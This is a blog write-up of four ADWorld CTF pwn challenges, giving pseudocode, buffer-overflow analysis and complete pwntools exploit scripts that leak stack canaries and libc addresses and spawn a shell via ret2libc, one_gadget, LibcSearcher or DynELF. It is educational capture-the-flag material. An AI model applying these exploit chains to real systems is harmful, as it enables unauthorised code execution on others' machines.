ADWorld PWN Challenge Area Write-ups (ret2libc)
TyeYeah Lv4

This part is for ret2libc tasks, building ROP chain is a necessary skill.

pwn1

Attachment: pwn1.zip
Description: None

About Canary leaking and ret2libc.

Information

Unzip and check:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ unzip pwn1.zip
Archive: pwn1.zip
inflating: babystack
inflating: libc-2.23.so
$ file babystack
babystack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d1d54a6fc21f6c1d9a92f4f3bfafadd44683afd4, stripped
$ checksec babystack
[*] '/mnt/c/Users/David/Desktop/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&s, 0, 0x80uLL);
while ( 1 )
{
sub_4008B9();
v3 = sub_400841();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL);
break;
default:
put("invalid choice");
break;
}
put((const char *)&unk_400AE7);
}
}

sub_4008B9:

1
2
3
4
5
6
7
8
9
ssize_t sub_4008B9()
{
put("--------");
put("1.store");
put("2.print");
put("3.quit");
put("--------");
return sub_4007F7(">> ");
}

sub_400841:

1
2
3
4
5
6
7
8
9
10
11
int sub_400841()
{
char s; // [rsp+10h] [rbp-30h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(&s, 0, 0x20uLL);
if ( (signed int)read(0, &s, 0x20uLL) <= 0 )
exit(1);
return atoi(&s);
}

Analysis

Without system and /bin/sh, it is ret2libc. Though it gives libc file, Canary dont let us do stack overflow directly.

The general solution: first leak Canary and then write it back when performing stack overflow, then using stack overflow to ret2libc.

Since Canary has \x00 as the end, we can print it as string by adding printable letters as padding in the front of Canary.

As for ret2libc we have puts, write and read, and we are so familiar to it. Actually this time I will use one_gadget to find execve call in libc-2.23.so.

In main() it has

1
2
case 1:
read(0, &s, 0x100uLL);

which causes overflow, and the padding should be 0x90 - 0x8 = 0x88 according to char s; // [rsp+10h] [rbp-90h] and unsigned __int64 v6; // [rsp+98h] [rbp-8h].

Then use gadgets like pop rdi ; ret for outputting Canary content by puts and write (write needs more gadgets as it has 4 parameters).

Use one_gadget to find execve("/bin/sh",...) (Using LibcSearcher to get system('/bin/sh') is also ok but slower):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

Exploit

Using one-gadget in glibc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.arch = "amd64"
context.log_level = "debug"

elf = ELF("./babystack")
p = remote('220.249.52.133','32063')
#p = process("./babystack")
libc = ELF("./libc-2.23.so")

execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93

payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)

p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')

canary = u64(p.recv(7).rjust(8,'\x00'))

payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00'))

execve_addr = puts_addr - (libc.symbols['puts'] - execve)

payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)

p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

welpwn

Attachment: welpwn
Description: None

This one does not give libc file.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file welpwn
welpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a48a707a640bf53d6533992e6d8cd9f6da87f258, not stripped
$ checksec welpwn
[*] '/root/welpwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]

write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}

echo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}

Analysis

In main() it reads buf (0x400 bytes), then in echo() it copys buf to s2 which is only 0x10 bytes long. That is where the overflow happens. When it saw a \x00 the string copy will stop.

There are no system and /bin/sh or something else related to getting shell, so we choose to leak libc first.

It contains puts, write, read and some other functions, so we can use puts or write to output read address, then find out the libc version, calculate libc base address, and finally execute system("/bin/sh").

First determine the offset of overflow. Input aaaaaaaa and step to the end of echo(), check the stack in gdb.

1
2
3
4
5
6
gef➤  x/20x 0x00007fffffffde40
0x7fffffffde40: 0xf7fbe4a0 0x00007fff 0xffffde70 0x00007fff
0x7fffffffde50: 0x61616161 0x61616161 0xf7fc390a 0x00007fff
0x7fffffffde60: 0xffffe270 0x00007fff 0x0040082d 0x00000000
0x7fffffffde70: 0x61616161 0x61616161 0xf7fc390a 0x00007fff
0x7fffffffde80: 0xf7ffd9e8 0x00007fff 0xf7ffe4f0 0x00007fff

The aaaaaaaa starts from 0x7fffffffde50 is s2 (copied from buf) in echo(), and the aaaaaaaa starts from 0x7fffffffde70 is the original buf from main(). The distance is 0x20.
The memory layout is like this:
before
As this is a 64-bit program, every unit/item is 8-bit length, so to overflow ret addr of echo(), padding is 0x18. But it stops to copy when meeting \x00, so padding cannot be address (normally like 0x00abcdef).
Payload: ‘a’ * 0x18 + pop_4 + ROPchain
after
The so called pop_4 is to pop 4 items on the stack, which is a clever method, so that program returns to ROPchain successfully. Use ROPgadget to find:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ROPgadget --binary ./welpwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd

Unique gadgets found: 13

The pop_4 is in 0040089c.
As for ROPchain, since 64-bit and 32-bit is different because the first few parameters are saved in registers (rdi, rsi, rdx, rcx, r8, r9, then on the stack) in 64-bit, while stored on the stack in 32-bit.

The first ROPchain should output some function address, to calculate libc base address and determine libc version. Use puts to output read address and return to main.
The first ROPchain: p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)

Call system("/bin/sh") in the next ROPchain.
The second ROPchain: p64(pop_rdi) + p64(bin_sh) + p64(system)

Exploit

LibcSearcher version (the question is it not works for local):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('welpwn')
sh = remote('220.249.52.133',46741)
elf = ELF('welpwn')

pop_4 = 0x40089c
pop_rdi = 0x4008a3
main_addr = 0x4007cd
puts_plt = elf.plt['puts']
read_got = elf.got['read']
print sh.recv()
payload = 'a' * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
sh.sendline(payload)

# print sh.recvuntil('a'*0x18)
# print sh.recv(3)
print sh.recvuntil('\x40')
read_addr = u64(sh.recv(6).ljust(8,'\x00'))
print read_addr
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a' * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
sh.sendline(payload)
sh.interactive()

DynELF version (get from the internet) which is also effective but seems more complicated:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level='debug'
p=process('./welpwn')
p=remote('220.249.52.133',46741)
elf=ELF("./welpwn")
start_addr=0x400630
write_addr=elf.got['write']
read_addr=elf.got['read']
ppp1_addr=0x40089A
ppp2_addr=0x400880
clean_addr=0x40089C
def leak(addr):
p.recv()
payload='a'*24+p64(clean_addr)+p64(ppp1_addr)+p64(0)+p64(1)+p64(write_addr)+p64(8)+p64(addr)+p64(1)
payload+=p64(ppp2_addr)+'a'*56+p64(start_addr)
p.send(payload.ljust(1024,'a'))
buff=p.recv(8)
print(buff.encode('hex'))
return buff
dyn=DynELF(leak,elf=ELF("./welpwn"))
sys_addr=dyn.lookup("system","libc")
print("System addr:%X" % sys_addr)
def getshell():
pop_rdi=0x4008A3
payload='a'*24+p64(clean_addr)+p64(ppp1_addr)+p64(0)+p64(1)+p64(read_addr)+p64(8)+p64(elf.bss())+p64(0)
payload+=p64(ppp2_addr)+'a'*56+p64(pop_rdi)+p64(elf.bss())+p64(sys_addr)+p64(0)
p.recv()
p.send(payload.ljust(1024,'a'))
p.sendline("/bin/sh")
getshell()
p.interactive()

pwn-100

Attachment: pwn100
Description: None

Similar to welpwn. Just another ret2libc without given .so file.

Information

Checksec:

1
2
3
4
5
6
7
8
9
$ file pwn100
pwn100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=b4d2f91a3feed3a7fb36890c3c462c535abd757c, stripped
$ checksec pwn100
[*] '/root/pwn100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:
main:

1
2
3
4
5
6
7
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
sub_40068E();
return 0LL;
}

sub_40068E:

1
2
3
4
5
6
7
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]

sub_40063D((__int64)&v1, 200);
return puts("bye~");
}

sub_40063D:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}

Analysis

The main logic is to read 200 bytes one by one, and store them in a 0x40 length array, which leads to an overflow.

There is no system or /bin/sh again, but it has puts and read functions, which helps to perform ret2libc.

pwn-100 is pretty similar to welpwn, but the input part of the exploit script is really different. Here it reads 200 bytes/chars and your \n counts, so be careful to use sendline in pwntools (use send instead, I wasted hours watching my script encountering EOF).

Exploit

LibcSearcher method always seemed simple:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('./pwn100')
sh = remote('220.249.52.133',47390)
elf = ELF('./pwn100')

pop_rdi = 0x0400763
main_addr = 0x40068e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
payload = 'a' * 0x40 + p64(0) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200,'a')
sh.send(payload)

print sh.recvuntil('bye~\n')
source = sh.recv()
read_addr = u64(source[:-1].ljust(8,'\x00'))
print hex(read_addr)
print 'start libcsearcher'
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
print 'base:'+hex(libc_base)
system_addr = libc_base + libc.dump('system')
print 'system:'+hex(system_addr)
bin_sh = libc_base + libc.dump('str_bin_sh')
print '/bin/sh:'+hex(bin_sh)
payload = 'a' * 0x40 + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
payload = payload.ljust(200,'a')

sh.sendline(payload)
sh.interactive()

In welpwn exploit it has read_addr = u64(sh.recv(6).ljust(8,'\x00')), and here read_addr = u64(source[:-1].ljust(8,'\x00')) also gives it 6 bytes. Truth is: last 7 bytes is we should focus, but the last one is 0xa aka LF (line feed), so the rest consist of the output address.

DynELF method may be complicated but faster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!usr/bin/python
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
io = process("./pwn100")
io = remote('220.249.52.133',47390)
elf = ELF("./pwn100")

rop1 = 0x40075A #pop rbx_rbp_r12_r13_r14_r15
rop2 = 0x400740 #rdx(r13), rsi(r14), edi(r15d)
pop_rdi_ret = 0x400763
# start_addr = elf.symbols['_start']
start_addr = 0x400550
puts_plt = elf.plt['puts']
read_got = elf.got['read']
binsh_addr = 0x601040


def leak(addr):
payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb=1, timeout=0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak, elf = elf)
sys_addr = d.lookup('system', 'libc')
log.info("system_addr => %#x", sys_addr)
payload = "a" * 0x48 + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(1)
payload += p64(rop2)
payload += "\x00" * 56
payload += p64(start_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.recvuntil("bye~\n")
# gdb.attach(io)
io.send("sh\x00")

payload = "a" * 0x48 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)
payload = payload.ljust(200, "a")
io.send(payload)
io.interactive()

Since DynELF cannot search /bin/sh it can only use read() or gets() to read it to the bss.

pwn-200

Attachment: pwn200
Description: None

Similar to pwn-100 but a 32-bit. A ret2libc without given .so file again.

Information

Check:

1
2
3
4
5
6
7
8
9
file pwn200
pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=f73483aa5ece690e61d3f0d76dbf6defce2084ac, stripped
$ checksec pwn200
[*] '/root/pwn200'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main()
{
int buf; // [esp+2Ch] [ebp-6Ch]
int v2; // [esp+30h] [ebp-68h]
int v3; // [esp+34h] [ebp-64h]
int v4; // [esp+38h] [ebp-60h]
int v5; // [esp+3Ch] [ebp-5Ch]
int v6; // [esp+40h] [ebp-58h]
int v7; // [esp+44h] [ebp-54h]

buf = 1668048215;
v2 = 543518063;
v3 = 1478520692;
v4 = 1179927364;
v5 = 892416050;
v6 = 663934;
memset(&v7, 0, 0x4Cu);
setbuf(stdout, (char *)&buf);
write(1, &buf, strlen((const char *)&buf));
sub_8048484();
return 0;
}

sub_8048484:

1
2
3
4
5
6
7
ssize_t sub_8048484()
{
char buf; // [esp+1Ch] [ebp-6Ch]

setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}

Analysis

Dont say so much. ret2libc are always so similar.

Here we use write instead puts to leak function address and calculate libc base address, so the ROP chain should be different.

Exploit

LibcSearcher version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='i386', log_level='debug')
sh = process('./pwn200')
sh = remote('220.249.52.133',47846)
elf = ELF('./pwn200')

main_addr = 0x080484BE
write_got = elf.got['write']
read_got = elf.got['read']
print sh.recv()
payload = 'a' * 0x6c + p32(0) + p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['read']) + p32(0x4)
sh.sendline(payload)

read_addr = u32(sh.recv()[:4])
print hex(read_addr)
print 'start libcsearcher'
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
print 'base:'+hex(libc_base)
system_addr = libc_base + libc.dump('system')
print 'system:'+hex(system_addr)
bin_sh = libc_base + libc.dump('str_bin_sh')
print '/bin/sh:'+hex(bin_sh)
payload = 'a' * 0x6c + p32(0) + p32(system_addr) + p32(main_addr)+ p32(bin_sh)

sh.sendline(payload)
sh.interactive()

When meeting multi results, we choose 0: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) instead of 1: ubuntu-trusty-amd64-libc6 (id libc6_2.19-0ubuntu6.14_amd64) and other archive-old-glibc.

DynELF version:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#! /usr/bin/env python
from pwn import *
p=remote('220.249.52.133',47846)
elf=ELF('./pwn200')
write_plt=elf.symbols['write']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x080483d0
func_addr=0x08048484
ppp_addr=0x080485cd
def leak(address):
payload1='a'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
p.send(payload1)
data=p.recv(4)
return data
print p.recvline()
d=DynELF(leak,elf=ELF('./pwn200'))
sys_addr=d.lookup('__libc_system','libc')
payload2='a'*112+p32(start_addr)
p.send(payload2)
print p.recv()
bss_addr=elf.bss()
print "bss_addr="+hex(bss_addr)
payload3='a'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(func_addr)+p32(bss_addr)
p.send(payload3)
p.send('/bin/sh')
p.interactive()

Using DynELF will be faster, so we better learn it.

Powered by Hexo & Theme Keep
Total words 135.7k